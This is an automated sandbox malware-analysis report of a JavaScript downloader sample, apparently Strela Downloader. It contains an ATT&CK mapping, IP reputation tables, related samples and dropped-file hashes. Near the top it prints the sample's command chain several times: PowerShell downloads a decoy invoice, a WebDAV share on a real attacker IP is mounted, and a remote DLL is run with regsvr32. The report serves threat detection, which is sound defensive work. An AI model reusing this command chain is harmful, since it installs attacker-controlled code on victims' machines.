Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\205892802317509.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Windows Management Instrumentation	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3144522639186114061.js	3%	Virustotal		Browse
3144522639186114061.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205/invoice.php	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/smPA	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000E.00000003.1310234307.0000016F64AD0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	false		high
http://crl.ver)	svchost.exe, 0000000E.00000002.2557870863.0000016F64C00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.13.dr	false		high
https://www.adobe.co	ReaderMessages.10.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.14.dr	false		high
http://193.143.1.205:8888/	net.exe, 0000000C.00000002.1310602693.000001EF9404C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1310602693.000001EF94069000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/smPA	net.exe, 0000000C.00000002.1310602693.000001EF94018000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587515
Start date and time:	2025-01-10 14:03:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3144522639186114061.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/62@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 52.22.41.97, 3.219.243.226, 52.6.155.20, 3.233.129.217, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 23.55.235.177, 23.55.235.186, 13.107.246.45, 54.224.241.105, 104.118.8.172, 20.109.210.53
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
08:04:03	API Interceptor	22x Sleep call for process: powershell.exe modified
08:04:07	API Interceptor	1x Sleep call for process: net.exe modified
08:04:07	API Interceptor	2x Sleep call for process: svchost.exe modified
08:04:15	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2012713416258531948.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	random.exe	Get hash	malicious	LummaC Stealer	Browse	199.232.210.172
	2012713416258531948.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	CY SEC AUDIT PLAN 2025.docx.doc	Get hash	malicious	Unknown	Browse	199.232.214.172
	gem2.exe	Get hash	malicious	Xmrig	Browse	199.232.210.172
	1736491685cd440ba02224486139c45779065ac91a3edb422c48d3d3c6920c4d30fc9d2bfc582.dat-decoded.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	199.232.210.172
	gqIYXW7GfB.exe	Get hash	malicious	DCRat	Browse	199.232.214.172
	https://ik.imagekit.io/nrof2h909/Sherman%20Pruitt,%20Chief%20of%20Police,%20MSCJ.pdf?updatedAt=1736444487005	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://marcuso-wq.github.io/home/	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	1Ta6ojwHc6.exe	Get hash	malicious	DCRat	Browse	199.232.210.172
	Nuevo-orden.xla.xlsx	Get hash	malicious	Unknown	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2012713416258531948.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	new.bat	Get hash	malicious	Unknown	Browse	193.143.1.95
	987113922297181060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	987113922297181060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	177183177683425839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	177183177683425839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	264531187863018088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	264531187863018088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	2439793531535825300.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	2439793531535825300.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7066974297105515
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqN:2JIB/wUKUKQncEmYRTwh0x
MD5:	0C3FF0FF0BCD808C687A812DE7955B0C
SHA1:	D33EDA245BF6C9A558889B71BBF9CB82A4ACA293
SHA-256:	781E9F3D9D11C21C3B0AF818B2AD4244D08EA83D13E646F58642CA5ECDC73AE6
SHA-512:	7AEFE88389336BF2C7A06E93AB0A93B6D1EA8B01372652CB17D558A9803841F2613B510643B4962630D174293050F21EDCF961662EAA68EC108115E891763B36
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xc6a3ec9a, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899930761455247
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:zazaPvgurTd42UgSii
MD5:	7DA0E501DE85978C7D709527E0186EFA
SHA1:	D05A91BAC652560140524923C19B38BED6C1C9D7
SHA-256:	42A1D40CCBD2DE7C77C9895799B207C93479A2CF246FB91502697162A0DDD78E
SHA-512:	4A78C2522DF6AB00332D23371F8BCBF380C38C3A1A90AD46107D2CF90F2E031AFE1818D24A1BDF628887B2F3B922EFCC38E2B264EE62DE685308C9FC3A8FAA2B
Malicious:	false
Preview:	..... ...............X\...;...{......................0.`.....42...{5......}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{..................................h.ha.....}....................*......}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08201075387489457
Encrypted:	false
SSDEEP:	3:jwFUYeaQkZjxht/57Dek3JnHj/tlollEqW3l/TjzzQ/t:MCzYdFR3tDQmd8/
MD5:	E988BDFC5B9D68FDA9CF97546F67769E
SHA1:	346E6B829EF858521E6A096E3B1CC12A96AE485C
SHA-256:	7B75D71DCB393ACA66ECBC7CA11D9FB6BED431AC1C5D4DE50DC9B18832AD669E
SHA-512:	43574452316107C342EF86493EAF085D2C2C46DEC5432E3837739D0A26EFA340C027E65F275F633D8D624EDC10409BD9D1505DDDE2A92B7598164DA7C6D96C14
Malicious:	false
Preview:	.........................................;...{.......}..42...{5.........42...{5.42...{5...Y.42...{59..................*......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.212270991522773
Encrypted:	false
SSDEEP:	6:iO4odzwhayMq2PcNwi2nKuAl9OmbnIFUtSodzwh/ZmwsodzwhAkwOcNwi2nKuAlz:7vBAfMvLZHAahFUtRBA//7BAA54ZHAae
MD5:	A5C4079043FFF046DD90523A174B9FFB
SHA1:	5D83AF6614C5BF0B3DAE9AB50CCB3A4E734E27E7
SHA-256:	089072EA03828817A30BD6DE0153C151305623ADD918D094059875DDD29AA997
SHA-512:	71B54648D8115E3BC5B52B69ABFA327250692D296F8D6F989ECA9CA692E6FACB330937B47C43EBB32ED33BC450D32FD811AD6D8588D4963CC2DD2C5179861651
Malicious:	false
Preview:	2025/01/10-08:04:07.286 1da4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:04:07.288 1da4 Recovering log #3.2025/01/10-08:04:07.289 1da4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.212270991522773
Encrypted:	false
SSDEEP:	6:iO4odzwhayMq2PcNwi2nKuAl9OmbnIFUtSodzwh/ZmwsodzwhAkwOcNwi2nKuAlz:7vBAfMvLZHAahFUtRBA//7BAA54ZHAae
MD5:	A5C4079043FFF046DD90523A174B9FFB
SHA1:	5D83AF6614C5BF0B3DAE9AB50CCB3A4E734E27E7
SHA-256:	089072EA03828817A30BD6DE0153C151305623ADD918D094059875DDD29AA997
SHA-512:	71B54648D8115E3BC5B52B69ABFA327250692D296F8D6F989ECA9CA692E6FACB330937B47C43EBB32ED33BC450D32FD811AD6D8588D4963CC2DD2C5179861651
Malicious:	false
Preview:	2025/01/10-08:04:07.286 1da4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:04:07.288 1da4 Recovering log #3.2025/01/10-08:04:07.289 1da4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.144973287454273
Encrypted:	false
SSDEEP:	6:iO4odzwLFUxN+q2PcNwi2nKuAl9Ombzo2jMGIFUtSodzwZAQZmwsodzwZAAVkwOe:7vBs9vLZHAa8uFUtRBWb/7BWx54ZHAaU
MD5:	57CCE802D6EAD35E4EE36C8CE11DE9B4
SHA1:	F1D4DCD8EED3650F76058842C0AFE15047C811D2
SHA-256:	5A3CDD7948BC62850BFAC63AEDA71A9784E73C17BC5DF1C7FAAF58EA2E6449DF
SHA-512:	56972F286D44924AD10EAB026CA1915C120C0640DD8C776DA5CEF9BC23D79D01A36A738EF18961089C05052A371453F45AF22567E90A5B70BB482D50F499D694
Malicious:	false
Preview:	2025/01/10-08:04:07.521 1ea8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:04:07.522 1ea8 Recovering log #3.2025/01/10-08:04:07.522 1ea8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.144973287454273
Encrypted:	false
SSDEEP:	6:iO4odzwLFUxN+q2PcNwi2nKuAl9Ombzo2jMGIFUtSodzwZAQZmwsodzwZAAVkwOe:7vBs9vLZHAa8uFUtRBWb/7BWx54ZHAaU
MD5:	57CCE802D6EAD35E4EE36C8CE11DE9B4
SHA1:	F1D4DCD8EED3650F76058842C0AFE15047C811D2
SHA-256:	5A3CDD7948BC62850BFAC63AEDA71A9784E73C17BC5DF1C7FAAF58EA2E6449DF
SHA-512:	56972F286D44924AD10EAB026CA1915C120C0640DD8C776DA5CEF9BC23D79D01A36A738EF18961089C05052A371453F45AF22567E90A5B70BB482D50F499D694
Malicious:	false
Preview:	2025/01/10-08:04:07.521 1ea8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:04:07.522 1ea8 Recovering log #3.2025/01/10-08:04:07.522 1ea8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\5ed6b7b2-c0e5-45c6-a965-242e4aa57446.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF581c84.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ac21c20a-3d9d-4c89-8659-cee4970a2abf.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.97961495064354
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqgtsBdOg2Hv2caq3QYiubSpDyP7E4T3y:Y2sRdsmdMHvJ3QYhbSpDa7nby
MD5:	D25E1978DFE1646A9E07624BD423C2C6
SHA1:	6A0287C452C1C2DB59C0AF53B44E6204846DD956
SHA-256:	2DF3205A2F81EAEE0FA6EABA3AE4EE08CE10AAB8CE195DA514C91699228C8B1D
SHA-512:	E21459AACBDF82069EBE04ABEC6F7A3B7F624A689E32DBC853CA69ED7555EB3438BAA2DC9225438BAC30E989BB7770F1FF7347F0C5CDB37AFCA7B8B5886CD096
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381074259029369","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":127608},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.236128359891118
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPSjcA:CwNw1GHqPySfkcigoO3h28ytPSjcA
MD5:	6BE8AF58312127588DEB0CF97986EBD8
SHA1:	98B59BF09E8DD5E127AF02FB58B2409C78E1BAD5
SHA-256:	5CE1F663C86659616B0784B5484DFC29D416C99F609C6D601A9B171949C4F76B
SHA-512:	7992A004BA0B0556845DBCD378E116AC93B07490C89695D177A7B27E22E4FD6D80A74FF60B6D0FF1CF4C77583102AAD38A9297588E0C6CEE2EDDE8E2FCD162BB
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1084826853521985
Encrypted:	false
SSDEEP:	6:iO4odzBM3+q2PcNwi2nKuAl9OmbzNMxIFUtSodzB65ZmwsodzNdFNVkwOcNwi2nv:7vBHvLZHAa8jFUtRBB65/7BNdF54ZHAo
MD5:	423CEE796ABDDE883B4974BD532B71DC
SHA1:	A081FB9E53AA61A4C15D1F3677A1CF68EFA3871E
SHA-256:	6D69F19D085FCE8D3842C84854DF8FCB1B4EBB63FC5B43B5B550A920C245CB09
SHA-512:	6FCF9FAED8E60CADE16D3EF2F479BA403EE8D8906CFBABF8AF046474B434032CE694E1A11AE65742FD56785F92FCFFCA8F68DB4267A5DDC4F335E250BDAB157B
Malicious:	false
Preview:	2025/01/10-08:04:08.109 1ea8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:04:08.110 1ea8 Recovering log #3.2025/01/10-08:04:08.111 1ea8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1084826853521985
Encrypted:	false
SSDEEP:	6:iO4odzBM3+q2PcNwi2nKuAl9OmbzNMxIFUtSodzB65ZmwsodzNdFNVkwOcNwi2nv:7vBHvLZHAa8jFUtRBB65/7BNdF54ZHAo
MD5:	423CEE796ABDDE883B4974BD532B71DC
SHA1:	A081FB9E53AA61A4C15D1F3677A1CF68EFA3871E
SHA-256:	6D69F19D085FCE8D3842C84854DF8FCB1B4EBB63FC5B43B5B550A920C245CB09
SHA-512:	6FCF9FAED8E60CADE16D3EF2F479BA403EE8D8906CFBABF8AF046474B434032CE694E1A11AE65742FD56785F92FCFFCA8F68DB4267A5DDC4F335E250BDAB157B
Malicious:	false
